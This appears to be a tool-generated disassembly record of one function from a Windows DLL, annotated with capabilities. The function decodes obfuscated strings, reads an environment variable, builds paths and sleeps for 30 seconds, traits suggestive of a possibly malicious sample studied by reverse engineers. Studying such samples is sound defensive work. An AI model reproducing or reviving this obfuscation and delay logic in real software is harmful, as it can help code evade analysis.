Function at 0x10002c1a
Capabilities:
Print debug messages
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9e4
mov eax, dword [0x10023040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100212c8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x3e8
xor ebx, ebx
lea eax, [ebp - 0x450]
push ebx
push eax
call fcn.100046a0
call fcn.10001291
push str.gRAyBDVB_dAtBKJBatAnBDhBaBAoBB__
mov edi, 0xc8
lea eax, [ebp - 0x450]
push edi
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0x18
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002c77
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
push 0x10020cb8
lea eax, [ebp - 0x7e0]
push edi
push eax
mov word [ecx + esi], bx
call fcn.10001030
push esi
call fcn.1000bc09
add esp, 0x18
lea eax, [ebp - 0x68]
push 0x32
push eax
lea eax, [ebp - 0x7e0]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str._BAABKBB_BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA_BF3BbRAiBKJBatAyBD_BYdA3BEtBRtAzBKhB_BA3BD_B_BAiBKJBfRAtBKRBLBB1B_7BYBAkBKRB
lea eax, [ebp - 0x450]
push edi
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002cf1
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
lea eax, [ebp - 0x68]
mov edi, 0xff
push eax
push str._s_s
lea eax, [ebp - 0x650]
mov word [ecx + esi], bx
push edi
push eax
call fcn.10001030
push esi
call fcn.1000bc09
push str.VtAuBDZBgBA0BDFB_dAoBEtBRtApBDFB_tAyBDVB_tA_BFNBWBAWBFhBQBA_BKpBNBAjBGhBNRAkBG_BMBAjB_3BZRAhBG_BZtBwBGRBZRB6BDRBORAjBGVBMdByB_3BNdB6BDVBYRAnBGhBNRB1BG_BNRB0BGJBeRA_BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB_
lea eax, [ebp - 0x450]
push edi
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0x28
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002d5e
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
push 0x10020cb8
lea eax, [ebp - 0x9e0]
push edi
push eax
mov word [ecx + esi], bx
call fcn.10001030
push esi
call fcn.1000bc09
push str.bBA3BKRB_BB5B__BOtB7BGJBOdBBGFBLBBvBGJBMtBvBGFBLRB6B__BYdAuBKJBNdBuBDVB_RApBDhB_tA3B_7BgBA7BKRB
lea eax, [ebp - 0x450]
push edi
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0x24
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002dc2
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
push 0x10020cb8
lea eax, [ebp - 0x650]
push edi
push eax
mov word [ecx + esi], bx
call fcn.10001030
push esi
call fcn.1000bc09
add esp, 0x18
lea ecx, [ebp - 0x650]
call fcn.1000155f
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5dc
call esi
push 0x7530
call esi
push str._BAABKBB_BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB_dAuBKNBatAnBKRB_BA_BDhBadAhBD_BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB_BAIBFVB
lea eax, [ebp - 0x450]
push 0x3e8
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002e4c
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
lea eax, [ebp - 0x68]
push eax
push str._s_s
lea eax, [ebp - 0x650]
mov word [ecx + esi], bx
push edi
push eax
call fcn.10001030
push esi
call fcn.1000bc09
push str._BAABKBB_BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA_BF3BbRAiBKJBatAyBD_BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD_BgBAUBFVBQdAIB_7BYBAkBB__
lea eax, [ebp - 0x450]
push 0x3e8
push eax
call fcn.100010b9
lea edx, [ebp - 0x450]
add esp, 0x28
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002eb8
sub edx, ecx
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x9e4], edx
call fcn.10002aad
mov ecx, dword [ebp - 0x9e4]
mov esi, eax
push esi
lea eax, [ebp - 0x68]
push eax
push str._s_s
lea eax, [ebp - 0x9e0]
mov word [ecx + esi], bx
push edi
push eax
call fcn.10001030
push esi
call fcn.1000bc09
add esp, 0x1c
mov dword [0x10024484], ebx
lea edx, [ebp - 0x9e0]
mov dword [0x10024480], ebx
lea ecx, [ebp - 0x650]
call fcn.10001773
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100031d5
leave
ret